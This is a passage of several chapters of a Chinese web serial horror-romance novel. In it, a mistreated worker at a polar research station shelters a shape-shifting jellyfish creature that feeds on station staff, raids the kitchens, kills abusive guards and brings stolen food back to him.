没有答案,就像在隆冬抱团取暖的两只小动物,人类艰难,但坚持不懈地维护着这个寒酸的巢穴。他为它换水,为它洗刷,为它带回口味单一的食物,他对它说话,拥抱它,爱抚它。 六号还没有足够的能量维持发声器官,它的问题问不出口,因此困惑得快要发了疯。 一天夜里,徐久难得睡不着觉,于是就像抱枕般搂着六号的身体,和它小声说着话。 “小时候,我可喜欢看星星。”徐久轻松地说,“那会儿在福利院,护工会在晚上十二点钟结束巡夜,他们的脚步声一走远,我就悄悄从床上爬起来,溜到窗户边看天。不过,天上黑洞洞的时候多,有星星的时候少。” 他想起来什么,兴致勃勃地翻身:“福利院里有几本小人书,书上说,一个星座就是一个仙女,只要在午夜十二点的时候诚心呼唤,她们就会把世上受苦受难的小孩儿全接走,接到天上去……” “我信了,深信不疑。”徐久自嘲地一笑,“还干过大半夜站在窗户口大喊仙女的名字,吵醒一整层楼,然后被护工暴打这种事。哎我去,那大耳光真是火辣辣的……” 六号发出啵啵的声响,探出一根口腕,笨拙地拍拍徐久的下巴,权当安慰。 “走开走开,”徐久没好气地嫌弃道,“那天乱摸的事还没跟你算账呢。” 乍然被母体推拒,六号十分震惊。 回过神来,它立刻不依不饶地纠缠上去,将口腕和新生的柔韧触须一股脑地挤在徐久的口鼻处咕涌,像条撒泼的,精力旺盛的狗一般,到处乱滚乱蹭。 徐久不堪其扰,被粘得实在受不了,只得讨饶:“好好好,你摸你摸,你摸还不行吗!” 小水母——现在应该叫中小型水母了——颇为自得地往空气里吐泡泡,宣告着自己的胜利,接着便心满意足地在徐久身上化成一大摊,沉甸甸地压住他。 徐久拿它没办法,糊弄性质地随便搂了它两下,接着看向脏兮兮的天花板。 惆怅的情绪不期而至,他忽然叹口气。 “真想有个自己的家啊。”他轻声道。 徐久说的没头没脑,六号却完全能够理解母体的忧虑。 诚然,他们在人类的聚集地有间落脚点,一个巢穴,可这个巢穴却如此贫瘠、冰冷,浑如一片饿死动物的胃袋,更不用说此处潜在的诸多危险了。 这儿简直就像公共开放的原始森林,门锁形同虚设,谁都能在里头进进出出,根本不必获得主人的许可。 按照六号的标准,这里缺少丰富的猎物贮藏,不见浓稠血 9. 愚人一无所有(九) 《我是人啊,你不是?》全本免费阅读 是夜,极地的大风似乎永不停歇,每当夜深人静的时候,狂暴的大风席卷着冰雪,能在深达上百米的建筑物内部掀起咆哮般的共振。合金的地板微不可察地震动,只有巡夜的人方能隐隐地感觉到。 “三小队汇报,C区无异常,重复一遍,C区无异常,完毕。” 百无聊赖的巡夜时光,每个人嘴上不说,脸上皆带着疲倦之色。 自从地底隧道的保密实验场地出事以来,全站封锁,启用最高警戒模式,夜巡的人数增加到双倍,力求每一个死角都受到万无一失的监管。警卫们的精神像紧绷的弦,强撑着熬了三个星期,就是铁打的人,此时也有点支不住了。 为了转移注意力,其中一个队员避开公用频道,嘀咕道:“不是说那个怪物已经被处理掉了吗,站里还在警戒什么呢?” “少说两句,”另一个人低声道,“这事儿严禁讨论,你忘啦?” 距离那场灾难事故已经快过去一月,极地站作为最高领导人的博士没了一个,仅剩的另一个也始终闭门不出,把自己放置在阿尔法小队和贝塔小队的层层保护下。站内难免人心惶惶,传出些捕风捉影的流言蜚语。为免谣言引发更大的恐慌,尤恩博士通过阿尔法小队下了死命令,不许人讨论相关的一切话题。 小队的队长疲惫地喘口气,只觉得手指头发痒,实在想从兜里摸出根香烟点上。 “听说时博士的消息还没报上去,都警醒着点。”他不痛不痒地呵斥,“想死就直说,别等着被上头拉到实验室,才想起哭爹喊娘地求兄弟捞人。” 这个警告实在有分量,队里的九个人全不吭气了。就在转过拐角的那一刻,前面的人忽然停顿下来,警觉地拿出武器。 窸窸窣窣的声音,正从前面的房间内传出,隔着厚重的门板,模糊得听不真切。 “是文件室,”队员猜测,“哪个研究员在里头?” 队长皱起眉头,大步走过去,他的脚步声刚刚响起,房间里的动静就没了。 “谁在里面?”他沉声质问,“不管你是什么人,宵禁期间禁止外出!不懂规矩吗?” 说话间,他的手掌已经按在门把手上,无声地推开一道缝隙。 他眯起眼睛,文件室昏暗无光,隐约可见一名身着白袍的人蹲在地上,不知道在地上画着什么。 ……真是研究员? 队长做个手势,示意队员留在门外。 倘若破坏规矩的真是研究员,那事情就另当别论了。在莫比乌斯内部,科研人员就是最金贵的中坚力量,学者的地位,高于任何非学者的成员。 作为夜巡队的长官,他当然可以对违反规定的研究员下达处罚指令,但任何一个智商在线的人,都不会这么做。所以他得让队员在门外等待,因为接下来要发生的事,无疑称得上是“徇私枉法”。 “女士?先生?”他虚掩上门,走过去,“已经宵禁了,您不该停留在这里……” 空气中弥漫着奇异的腥气,对方听见他的声音,却没有回头,只是慢慢地站了起来。 不知道为什么,队长总觉得哪里不对劲。 对方起身的姿势非常怪异。 他的身体没有起伏,甚至缺少正常人的肌肉运动。他起身,活像是……活像是垂直扬升的一面旗帜,一根原先折叠,现在又舒展的管道。 随着对方完全站定,队长面部的肌肉不住抽搐,心头不妙的寒意也越发浓重。 ……他太高了。 研究所里不是没有巨人,常年驻守极地站的各个重装小队,里面绝大部分成员都是生化人。那些人形兵器的平均身高超过两米,无不拥有着超乎想象的壮硕躯体,手臂上的二头肌比成年人的头还大。然而,队长胆敢断定,没有哪一个生化人,能像眼前的东西一样,令人感到毛骨悚然的胆寒之意。 毋庸置疑,他……它的身高比生化人还要夸张,然而体格却分外细窄,双手双脚都怪诞地扭曲着,骨骼之畸长,简直像极了过度拉伸的面团。 这个生物无声地立在那里,半透明的长发丰厚无比,如同一面散发着微光的瀑布。它披着属于研究员的,太短的白袍,姿态几乎是空灵的。 队长的身心已经被恐惧彻底攫住,他发抖地后退,喉咙里“咯咯”地响着气音,正要大声求援,这个东西已经转过身体,正对着他。 以队长的个头,需要仰着脸才能看清它的长相。一看之下,他的大脑乍然空白,只有一个下意识脱口而出的称呼,轻飘飘地呵出嘴唇。 “时……”他抖如筛糠,不可置信地颤声道,“时博士……?” 是的,时夜生,时博士,极地站的最高领导者之一。 此时此刻,眼前的“人”,就长着这样一张眼熟而陌生的脸。 他是见过时夜生的,并且清楚地记得,时夜生是东方人。或许世上真有老天偏爱的说法,这个年纪轻轻就位高权重的天才,同样拥有一副使人过目不忘的俊美容貌。 不过,定睛细看,就看出区别来了。队长见过的时夜生更加庄重,不苟言笑,而眼前的时夜生…… “时夜生”面无表情地低头,双目冰冷,眨也不眨地盯着下方的人。倏然间,他弯起细长的眼睛,露出一个灿烂的笑容,裂到耳根的薄薄嘴唇,泛出幽蓝的微光。 ——而眼前的时夜生,仿佛某种没有灵魂,更没有感情的阴森野兽。笑起来的模样,带着不掺杂质的狂喜,以及贪婪。 “救、救……” 男人再也动不了了,他快要在空气里溺死,不住抠着喉结的位置,拼命张大嘴巴呼吸,想放声呼叫门外的支援。但挣扎全然无用,他的腹腔发出类似沸水翻腾的声音,咽喉里也溢出巨量的血沫。 他正在从内到外地融化。 队长离开太久,巡夜的队员都开始焦躁不安起来,其中一人按捺不住,刚抓住把手,打算推门进去,看看究竟发生了什么事,房门便从里打开。 男人低着头走出来,看着与平时没什么不同,唯有虹膜,在黯淡灯光中折射出一种偏蓝的色调。 “队长!”队员急忙围上去,“里面出什么事了,怎么去那么久?” 队长抬起头,一言不发地仔细观察着面前的几个队员。他的眼神全然空白,面孔松弛地垮着,只有在掠过活人的脸时,眉宇间才现出一种古怪的喜悦神色。 黑夜寂寂,他这副模样森然得叫人脚软。 “队,队长?” 队长收回目光,他失神地游离片刻,突然咧嘴一笑。 “没事,”他说,“里面什么也没有。” · 六号焦躁地卷起身体,被刺激得不太安分。 夜深了,太多蠢蠢欲动的同构体在黑暗中活跃,捕猎丰美的血食。通过同构体之间的共情共感,六号完全能感应到,那些更加强大的同构体,此刻已经进化出了更完美的人类伪装,并热切地咀嚼着猎物新鲜柔嫩的骨髓与血肉。 相较之下,它的力量仍然不足,甚至无法在精神链条上施加更强有力的辐射,影响到其他同类。 外面有的是防守薄弱的警卫,但有了前车之鉴,六号和它的同构体们难得达成一个共识:在占据绝对优势之前,最好不要引起人类的警觉。它们不应低估人类玉石俱焚的决心,毕竟,在走投无路的情况下,恐惧是可以促使活人干出任何事 10. 愚人一无所有(十) 《我是人啊,你不是?》全本免费阅读 暂时吃不了人,总要找点别的东西吃吃吧? 面粉又干又涩,还容易把身体里的水分吸走,六号胡乱塞下两口,便不肯再为它留肚子。四顾中,它的身体猛然一顿,倘若它长着眼睛,必定是“眼前一亮”的状态。 它发现了食用油的油桶。 六号敏捷地穿行在光滑地板上,避开匆匆挥动的诸多人腿,时不时滴落下来的热汤和水花,扑向那个干燥阴暗的角落。一箱堆一箱,一桶叠一桶的橄榄油、花生油、核桃油……全在明光的照射下熠熠生辉。 茶色的橄榄油带着青草的芬芳,花生油金黄温润,油香扑鼻,核桃油气味清淡,清澈而无一丝杂质,奶白色的冷猪油则另外隔开,放在旁边,散发出浓厚的脂肪香气。 六号钻到最深处,在无人发觉的角落,它的口腕流动、变幻,瞬间锋利如薄刀,像削泥一样划开油桶盖子,一头扎进去狂喝。 丰沛的热量与能量,泄洪般灌进它的身体。六号喝得停不下嘴,几秒钟的功夫,就将一桶五升装的花生油吸得见底,连边角的残余都没放过,四壁刮得干干净净。 用蝗虫过境来形容它的所作所为,都显得太过谦虚。除去边上一圈当做障眼法的油桶,它风卷残云地喝光了厨房当前上百升的食用油贮存,接着再拖动沉甸甸的身体,去另一边挖冻猪油吃。 不多时,几盒论公斤摆放的猪油也被它吃得一丝不剩。这阵子正是备餐的时候,后厨里忙得热火朝天,竟没有一个人注意到角落里发生的事。 六号大快朵颐,满足得要飘起来。只是光喝这点流质的油,终究不够有分量。它寻摸一圈,忽然听到旁边几个人焦急的谈论声。 “快点,博士点了日料,今天的菜单从上到下全部都要换!没功夫耽搁,赶紧通知仓库那边调米,冷冻区的鱼肉还够吗?” “不清楚,但是昨天做的鱼汤,储备估计不太够。” “……妈的,要真的缺货,就给下面的人拿个什么味增汤糊弄过去,搞点咸咸的汤水,上面飘点海带豆腐就完事儿了!” 他们话里的一个词,勾起了六号的注意。 “冷冻区”。 六号把口腕嗦干净,顺藤摸瓜,在后厨拐了不下数十个弯,嗅着人类身上的气味,终于找到冷冻库的大门。 趁运输车还在往外开,它当即化作一道灵敏的影子,从车轮下一闪而过,晃进其中。 极地站的食品储藏很有讲究,粮油、干菜、肉和调味品是分开存放的,新鲜时蔬则最为珍贵,有专门的保鲜库统一管理,当然,水淋淋的菜叶也不是六号的第一选择。眼下,它环顾张望着冷冻库,唾液和消化液滴滴答答地溢出食道,将合金地板腐蚀出滋啦作响的白烟。 这么多肉,这么多贮藏起来的血食…… 能把人冻死的低温,对它来说只是不值一提的小事。无需思考,六号猛烈起跳,先撕开货架上的一个密封箱,从里面扯出条冻如石板的马哈鱼,“咔嚓”一声掰断鱼头。 水母没有牙齿,它却嚼得咯吱有声,碎鱼肉混合着冰碴子,在口器里来回搅动。 它吃掉一条,再捞一条,很快,一箱成体马哈鱼就叫它囫囵塞进腹中,六号没有减缓进餐的速度,直到扫荡完一整面货架,它才将注意力转向库藏另一侧的牲畜肉制品。 牛羊猪肉分门别类,摆放得整整齐齐。每个部位都精心地贴好标签,依次堆放在固定的位置。如同秋风扫落叶一般,它吃空一架的冻牛腿,再将旁边一架的猪肋排狂吞进肚,吃完猪肋排,还有冻得瓷实的羊肉堆等待它的光顾。 其他同构体纷纷沉迷于人类的鲜嫩滋味,不约而同地忽略了这里,六号只得退而求其次,来寻找人类储存、处理食物的地点。 没想到,也能叫它发现惊喜。 此时此刻,六号的重量和体型已然膨胀到了前所未有的程度,它吞掉了近乎半个冷冻库之后,便不能再吃了,因为能量积累到一定阶段,它就必须得找个地方筑巢,好舒心惬意地吸收这些肥腴餐食的养分。 只是在这之前,它已经拥有了一个巢穴,虽然那里并不富饶,且缺少安定,但唯有一点:那里有母体。 该回去了,时间不能耽搁太久……母体会着急的。 它在零下四十度的冷库中盘旋,化作水银般的涡流,向冷库的大门延伸过去。因为体型变得过大,脱出冷冻库的过程耗费了不少时间,不过没关系,距离母体回巢,还有一段空闲。 六号重新变成透明的颜色,甩掉身上薄薄一层霜花,回到后厨的位置,先左右张望一番——很好,午饭做完,大部队已经推着餐车离开,剩下寥寥几个人,全围在角落里聊天,没人留心这边。 它无声且轻灵地摸上案板,在琳琅满目的边角料中来回斟酌、挑选。它避开了那些已经被其他人类的唾液沾染过的食物,最终将一只切开的烤鸡,一大盘面糊油炸虾,以及三根盐水鹅腿塞进了自己的食道,并且没有立即消化,仅是存储在胃袋里,原路返回。 游向最近的通风管道口,六号惬意地甩着触须,摇摆着钻进方方正正的通道。 来的时候,它还能在其间上下弹跳着前进;回去的时候,它的身体却把长长一截管道塞得满满当当,留不出一丝余裕。 今天过去,这里的人类就会发现异样。 六号默默盘算,食物的能量同时滋养着它的神经元,使它能够更加顺畅地思考一些复杂问题。 晚上母体回来了,得对他好好装一下傻,再把肚子里的食物反刍给他吃。明天缓一缓,后天换个区域的厨房继续扫荡……! ——思绪被迫中断,身下迸出一声爆响! 支撑着六号的通风管道轰然坍塌,它以不符合体型的敏捷飞速后撤,色泽梦幻的漫长触腕,全然化作畸形锋利的刺刃,轻而易举地切开了迎面砸来的坚固金属残件。 六号轻轻落在空旷的房间里。 它的外形如此怪诞,降落的姿态却极尽曼妙,口腕环绕摇曳,仿佛舞女翩跹的裙摆。 此刻,六号正对着一只比它更加扭曲的异种。 面前的生物,只能说初具人形,不过,从那颗一半融化,另一半摇摇欲坠的头颅上,倒依稀还能看出原先俊美的皮相。 对方古怪地穿着许多不合身的衣物,三条胳膊从白大褂的一边袖子中探出来,外面披着一件透明的防护服,错位的扣子紧锁在喉咙上,下肢则将警卫专属的深青色衬衫撑得爆裂。它的外表是拼凑的,于是拿来遮蔽的衣服也是拼凑的。 同构体。 它返程的时候太急迫,没想到会遭遇同构体的埋伏。 不过,那又怎么样呢?弱小的东西没资格活下去,弱小且虚张声势的东西就更是如此了。 六号对它表现出来的诡异与恐怖无动于衷,它只是防御,然后随时准备进攻。 注视着六号,同构体的面孔剧烈抽搐着,流露出纯然的,兽性的欣喜。它缓缓拉长嘴角,露出毫无感情的灿烂笑容,又或者那根本不是笑,只是在冲对手展示口腔中密密麻麻的剧毒触须。 你好,我身体的一部分,猎物。 死斗一触即发,六号 11. 愚人一无所有(十一) 《我是人啊,你不是?》全本免费阅读 这一刻,他什么都没想,抓起外套就冲出房门,完全不顾宵禁即将开始的事实。 徐久慌张地拍着左右两侧的宿舍,他先找了左边,隐约能听到里面有人在哼歌,拍门声响起后,里头的人谨慎地凑过来,问:“谁啊?” “112室,徐久!”徐久压低声音,焦心地说,“就是6号,住你旁边……哥你能把门打开一下吗,我有急事想问!” 隔着门板,对方沉默了一下,接着又若无其事地哼起歌,趿拉着鞋子慢悠悠走了,竟是完全忽略了徐久的声音,就当没这回事一样。 徐久急得眼泪都要下来了,他等了一会儿,见对方实在没有沟通的意思,只得再去拍右边的门。这次,对方倒是开门了,一条细小的缝隙,露出一只警惕的眼睛:“你想干什么?” “我,我丢了东西,对我特别重要,”徐久语无伦次地说,“我就是想问,你有没有听到有人进我的屋子,或者……” 那人一愣,警惕褪去,他颇有点幸灾乐祸地打量着徐久。 “丢什么了?”他问,“看你急成这样,把吃的丢了?” 徐久喉咙干涩,他的嘴唇张了张,只是说不出话——他根本不知道怎么跟面前的人形容六号,唯有低声下气地重复:“你听到有人进我的房间了吗?有没有人撬我的门……” 那人戒备地往后仰了仰。 极地站时常发生这种事,平时人看着好好的,结果不知道哪一天就突然魔怔了,疯癫了。他本来还想再戏弄两句,看见徐久这副恍惚的模样,他立马失去兴致,没好气地重重关门。 “没有!” 徐久碰了一鼻子灰,他仍不气馁,又挨着敲了许多扇相邻的门。快宵禁了,走廊本就静悄悄的,低级员工的宿舍隔音也并不算好,大多数人隔着门板就能听见徐久先前对话的内容,于是此刻全不约而同地紧闭房门,懒得搭理徐久,给自己惹上麻烦。 徐久无计可施,他不得不走出员工楼的范围,到更远的地方找寻。 有没有可能,它是因为饿了,所以自己跑出去的? 他满怀期望,想到了第一天遇见六号的地点。 人在着急上火的时候,真是什么都能干得出来,理智上,他知道六号是个很爱干净的小水母,连在放久的水盆里泡一泡都不肯,可是感情上——他在脏水横流,堆得满满当当的巨大垃圾箱周围用力翻搅,屏息凝神地倾听每一丝最微小的动静。 万一呢?万一它就在这里,只等着自己来找呢? 没什么悬念,徐久一无所获,他垂头丧气地走出来,心里忽然闪过一个模糊的念头。 ……它不会跑到厨房那边去了吧? 是啊,莫比乌斯的抓捕行动从来都没有那么温柔,假如六号是从他的房间被带走,那他熬不到晚上,当时就得被一块带走。但是反过来说,假如六号是自己跑的,那它最有可能去哪呢? 第一,找自己,按结果看,这个选项可以排除。 第二,找食物,哪里的食物最多?毋庸置疑,厨房。 徐久惊疑不定,站在原地愣愣出神。 这有可能吗?它怎么找得到厨房呢,距离这么远,它又不识路,而且沿途的警卫、员工……不,它可以变透明,还可以粘在墙上滚来滚去,只要它走头顶的路,谁都发现不了六号,监控录像也不顶用……不不不,可它不认路啊? 他心乱如麻,没注意到一队警卫已经注意到了这边,手电筒的光束就像笔直的利剑,朝这边纷纷打过来。 “谁在那儿?!” 徐久犹如一头被车灯照到的鹿,本来就六神无主,被雷霆般的暴喝一震,只来得及转头。 四名警卫迅速围上来,个个人高马大,面沉如铁,凶狠地瞪着徐久。看到他一个人失魂落魄地站着,不分青红皂白,上去就是发狠地一脚,先将人踹倒在地。 “先拷起来,”连争辩解释的环节都省了,带队的男人冷笑着说,“今天送他去禁闭室待一晚上,明早就送出去,看外头哪个项目组缺人。” “要登记一下吗?万一负责他的主管要捞人……” “违反宵禁了!最近出的事又多。捞什么人,我倒要看谁的胆子这么……” 话没说完,远处黑黢黢的走廊里,忽然传出一声清晰响动。 “还有谁?!”领队不耐烦地回身,强光手电筒凌厉一扫,“今儿晚上都吃错药了是吧,一个二个的,不怕死?” 雪白刺眼的光束直射过去,然而,它并没有为众人照出走廊另一头的景象。随着距离的增长,亮光逐渐削弱,犹如被无形的,晦暗的沼泽所吞没。 领队皱起眉头,使劲晃了两下手电筒,仍然什么也看不清,只能隐约看见走廊那头有什么东西在流动,倒像是起雾了。 他喃喃骂了一句,联想到两周来层出不穷的失踪事件,头皮有点麻。 “走,”他点点身边的两个人,“我们去看看。老四,你看好这小子。” 他喊的老四,就是刚才踹翻徐久的警卫。 老四应了一声,顺势在人身上碾了碾靴底,当擦鞋布。方才那一下,就是冲着要把人踹到不能反抗去的,此时,徐久疼得说不出话,在地上蜷缩着,前额和鼻尖都是汗珠。 三个壮年男子结伴而行,抽出电棍,朝走廊另一边警惕地排查。他们的身影前后不一地消失在黑暗中,周遭一片死寂,老四百无聊赖地等待着。 “怎么样?”他打开通讯器,“又是哪个不要命的跑出来了,需不需要我再上去跺两脚?” 通讯器那头静悄悄的,没有一丝动静。 老四心中暗叫不对,又调到公用频道:“A区低级员工宿舍楼有紧急情况!请求支援,A区宿舍楼……” 他说了一句,就说不下去了,公用频道沙沙作响,仿佛置身无人区,信号断得彻彻底底。 男人的身体紧绷起来,他连忙打开电棍的开关,高压电弧凶猛地闪耀,却难以消除这股不祥的寂静。 “谁装神弄鬼?”他沉声道,“出来!赶紧出来!” 徐久动弹一下,发出轻微的呻|吟,老四吓了一跳,恶狠狠地低头,正打算再踢两脚,让他安分点,脑后却猛地响起尖锐风声! ——一根锋利无比的触肢从后背穿到前胸,像切一块水嫩嫩的豆腐,太顺滑地穿透了他的脊椎、内脏、胸骨,破出滚热新鲜的一大泼血。 男人的瞳孔缩如针尖,他想惨叫,然而第二根柔韧的触肢如影随形,立刻密不透风地缠住了他的咽喉和口鼻,让呼救的杂音尽数熄灭在气管里。仿佛拖着一片飘飞的塑料袋,第三根口腕扯住老四的腰腹,将一个强壮的成年男人折叠着砸进坚硬地板,发出骨骼碎裂,血肉崩散的爆响。 徐久意识朦胧,把额头贴在冰凉的地面。 怎么了……?他有些迷糊地想。 好吵。 所幸嘈杂持续得并不长久,耳边的噪音震了十多下就停了,幸福的静谧再度笼罩了徐久。 有什么凉凉的,柔软的东西小心翼翼地摸着他的侧脸,徐久的神志开始回笼,他下意识道:“……六号?” 更多的口腕蜂拥而至,将他疼痛疲惫的身体轻柔卷起,如同置身于软软的摇篮。 六号的身躯从阴影中析出——它已经有了“人类”的大致结构,只是上半身的轮廓还非常模糊,下半身则拖拽着漫长的十几条口腕,钴蓝色的纤细触须,就在其中无风自动,优雅地摇摆。 它抬起一只变幻不定的胶质“手臂”,幽蓝色的半透明外皮犹如流淌的果冻,把徐久牢牢地缠绕在胸前,轻轻地捂着人类侧腹上的一大片淤青,分泌出治愈的粘液。它看了下地上那摊分不清头尾的糜烂血肉,又转向走廊对面。 不知道什么时候起,那里静静地站着一个身高超乎寻常,手和脚都畸长到不自然的人形。 同一时间,对方的头颅微微前倾,也正在朝这边张望。 六号抱紧徐久,往后退去。 按理说,同一片狭小的区域,是不可能出现两个和平共处的同构体的,不过,凡事总有例外。 六号决定避免冲突。 它今天已经战胜、吞噬了一个同构体,需要时间消化,眼下带着母体,它没有信心应对另一个更加强大的自己。于是它后撤,并且留下了一块份量可观的血食。在同构体的共识当中,这应当是暂时休战的提议。 直面着危险的方向,六号缓缓地退到黑暗里,离对方越来越远,直至看不见为止。 脸上,身上都贴着冰凉柔软的东西,十分舒适。疼痛逐渐消弭了,徐久也渐渐清醒,蓦地一惊:“六号?!” “嘘……”六号轻轻捂住他的嘴巴,发出含糊的气音,一边无声无息地回到112室,流水般的腕足浸入锁眼,打开房门。 徐久难以置信地望着它。 “我。”六号断断续续地说,“是,我。” 它就像融化的蜡烛……或者汩汩的,变化不定的泉眼。勉强汇聚成人形的头上,只有大致的五官轮廓,以及一张歪歪扭扭的嘴。它胶质的半透明皮肤闪动着火焰般的蓝色与紫色,越往深处,这些霞光一样的颜色 12. 愚人一无所有(十二) 《我是人啊,你不是?》全本免费阅读 徐久:“……停停,我说停停。” 察觉到他的抗拒之情,六号不解,迷惑,伤心,失落,只得沮丧地挪开鹅腿。 徐久:“这什么东西?” 六号观察了下鹅腿,没有坏,还在人类定义的“新鲜”范围内。它想了想,尝试着撕开上面包裹的厚重粘膜,重新展示给母体看。 “食物,”它说,“吃。” 徐久犹豫一下,因为有事可做,暂时忘了要伤心。他跟着撕开这堆玩意儿上面的滑膜,仔细辨认过,才发现“肉块”是三根肥鹅腿,“卵鞘”原来是一堆炸虾,而“不知名动物的残骸”,则是一只冷掉的烤鸡。 徐久:“…………” 徐久难以置信地问:“这都是你偷的吗?” 六号不知道什么是偷,反正食物就放在那里,它不拿走也是进别人的胃袋,那为什么不能带回来,给母体补充营养呢?更何况,它只挑选了这些东西,而不是在厨房大杀特杀,为此,难道那些人类不该对它感激涕零吗? 六号不再出声,选择用行动回答。它再撕掉鹅腿的皮——想来被粘液浸湿,母体也不爱吃。 唉,真挑嘴。 然后揪下一块,喂给徐久。徐久猝不及防,被塞了一嘴香香鹅腿肉,再嚼两下,顿时忘了自己要说什么。 ……太好吃了! 别说鹅腿,就连吃鸡腿的次数,在徐久的记忆中也是历历可数:一次校庆,一次给同年级的一群学霸过生日,一次是刚入职时的入职餐,最近的一次,就是调来极地站的调职餐。 记忆中反复回味的美餐不值一提,被真切的现实轻易击溃。徐久吃习惯了像锯木末一样的压缩饼干,还有粘得口腔发苦的糜质营养粥,这一刻,他终于明白,什么是“香得舌头都掉了”。 鹅腿肉甘肥细嫩,牙齿稍微一合,就能轻松切开,而且越嚼越香,堪称回味无穷。鹅油从徐久的唇边溢出一星,食欲混合着强烈的饥饿,在他的胃袋中熊熊燃烧。 等不及六号的投喂,他两眼冒光,一把抓回整只鹅腿,狼吞虎咽地扯上面的肉,塞得满嘴都是。 他的吃相不说狼狈,也是实打实的饿死鬼。六号全神贯注地看着他,一股无名的怒火,忽然汹涌地冒出。 前一刻,它还在哀叹母体怎么这么挑嘴呀,然而真看见徐久不顾一切地啃食它带回来的冷肉时,它的大脑又陡然升起一股浓烈的憎恨之情——就像它在面对那个伤害,并且践踏了母体的雄性人类一样。 母体本来就应该得到最好的东西。 六号阴鸷地思索,恶意在它心中翻涌,犹如剧毒的海啸。 他要和我住在巨洋的巢穴,我将以身躯塑造一个安全的世界,让每一根神经扎进岩壁与坚硬的地面,与他共生。猎物环抱我们,天敌也不敢窥伺……或者就选在这里!就将巢穴安置在这个钢铁的群山中,让那些使母体哭泣,悲伤的人类都成为滋养他,敬奉他的尘土。 他是我的,我的,我的…… 六号流畅奔涌的思绪忽然卡壳了。 它的怒气不曾消除,但它真切地开始考虑另一个问题。 ——等一下,他现在算我的什么呢? 从前人类抚养它,为它命名,六号承担着幼儿的角色,于是人类理应被称作它的母体。但眼下,它已经积蓄了足够多的力量,可以自行觅食,重新回到擂台,与其他同构体一决高下,那人类的母体身份,肯定也不再适用当前的状况。 徐久已经嗦光了一根鹅腿,开始攻克第二根。六号一边琢磨,一边无比自然地卷起旁边的烤鸡,剥掉湿透的鸡皮,取出最好的鸡腿肉,给徐久准备着。 算了,想不明白就不想了。 思考从来不是六号的强项,哪怕吞噬了许多人类,其中不乏天才的大脑,它终究是习惯用直觉做事的野兽,不会因为一层稀薄的人性而改变自己。 徐久再吃掉一根鹅腿,有点噎着,一根口腕急忙挥舞出去,捞过杯子,给他喂水。 “……呃,谢谢。”徐久喝了几口,气顺了,六号瞅准时机,再将鸡腿递到他嘴边。 徐久没有觉得奇怪,更不觉得六号今天殷勤到过分,他道了谢,接过来继续吃。 好吃好吃,鸡腿也好吃! 徐久吃得满嘴流油,烤鸡肉抹了浓郁的蘸料,刺得嘴唇麻麻辣辣的,过瘾极了。食物带来的满足感,一下冲淡了他的悲伤,眼泪挂在脸上,已经半干了。 “还有吗?”他吸着鸡骨头,渴望地问六号。 真好哄。 无端的,六号脑子里闪过这个念头。 他吃鸡的时候,六号已经给他剥好了炸虾。大水母随手把坚硬的虾壳丢进自己的食道里,留下柔软的虾肉,簇拥成一小堆,捧到徐久面前。 “吃。” 临到睡前,徐久肚皮滚圆,先前被警卫踹到的地方早就不疼了。六号完全覆盖了单人床,又在旁边撑开了许多面积,他陷在里面,就像陷在一块过大的,太松软的果冻里。 “还有个腿,半只烤鸡……”他依依不舍地拉着根口腕,拿在手里捏来捏去,“留着明天吃吧,好不?” 六号低头看着他,被他捏在手掌心里的触手痒痒的。 看见母体整个困在自己的身体中,这股暖洋洋的痒意就情不自禁地蔓延到了每一根口腕尖,让它很想做点什么来止痒……比如说,把母体含在口器里,轻轻地咀嚼一下。 它保证会轻轻的,也保证只要一下就好。 “不可以,”六号诚实地说,“时间长,不新鲜。” 徐久急忙反驳:“吃到肚子里的东西,谁还管新鲜不新鲜?再说了,不能浪费粮食……” “不浪费,”六号有些茫然,“我吃了。” 还不等徐久爬起来表达自己的失望,它接着说:“明天,给你带新的。” 徐久遂美滋滋地躺下。 夜深人静,徐久吃得太撑,以至于完全睡不着。他捏着六号的触肢,低声问:“所以,极地站现在到处都是你的……同类,是吗?” 他没有问那几个警卫的下场,他记得自己意识不清醒的时候听见的巨大撞击声。事实就是这样,他们死了会更好。 “不是同类,”说得多了,六号的口语也流畅了些,“是我的,一部分。” “哦,”徐久点点头,他听不太懂这个意思,不过没有追究,“那研究站的人不会发现你们吗?我的意思是,这里到处都是监控探头,红外感应器什么的。” “这里,狩猎场。”黑暗中,六号的声音透出近乎无机质的冰冷,但面对徐久,它的语气又是十分轻柔的,“我们有共识,可以伪装。人类,看不见。” 徐久的心猛地跳了两下。 他不是傻子,知道“可以伪装”是什么意思。六号今天去后厨胡吃海塞了一通,回来就变出了半个人形,那些比它更强,吃掉更多人的水母,又能变成什么样?想来一定和真的人类没什么差别了。 再延伸一下,倘若它们吃掉的是高级研究员,再变成对方的模样……那修改监控的权限,随手掩盖一些不自然的死亡案例,有什么困难呢? 极地的酷寒仿佛透过门缝渗透了进来,令他无端打了个冷颤。 六号立刻察觉到微小的动静,更加彻底地包裹住他。徐久只露 13. 愚人一无所有(十三) 《我是人啊,你不是?》全本免费阅读 翌日清晨,外面吵吵闹闹的。 徐久原本还在担心自己会一觉睡过头,但赶在早班前,所有人都被勒令待在自己的房间里不得外出。他睡意全消,趴在门口听了半天,只听到外面乱哄哄的,似是有许多人走来走去,布置着什么东西。 “我们不会被发现吧?”徐久紧张兮兮地转头,跟六号耳语。 “不会。”六号回答,人类肯定可以发现异样,知道每天都有大量人口消失,但他们没法排查到单独的个体。 徐久接着耳语:“等一下他们可能要叫我出去,你就待在这里不要动,最好能藏起来。” 六号点一下头,表示自己明白。徐久抓紧时间换好衣服,简单漱口,用冷水打湿毛巾擦脸,等他收拾得差不多了,门外也开始响起一连串粗暴的呵斥声。 “出来!立刻出来,不得拖延!” 是主管的声音,徐久已经能听见他从走廊那头依次骂“死猪”的叫嚷,他刚要推门出去,手腕忽然被六号卷住。 徐久一回头,看见六号佝偻着高度能顶到天花板的身体,弯腰对着他。 徐久:“怎么啦?” 六号伸出一根口腕,点点自己的脑门。 徐久:“……啊?” 六号再点点,他愣了一下,才迟钝地反应过来,这一个多月,他总要在临出门前亲亲小水母的脑袋。 小水母长成中水母,又以迅雷不及掩耳的速度,从中水母膨胀成奇形怪状的大水母,但亲脑门的行为,却在短时间内养成了根深蒂固的习惯。 徐久哭笑不得,只好凑过去仰起脸,在它初具雏形,还没有五官的脑袋上亲了两下。 “好了好了!我要走了,再不出去要挨骂的,”他手忙脚乱地拉开门,不忘小声叮嘱,“你要藏好啊!” 六号摸摸头顶,有些不满。 就碰了两下,好敷衍。 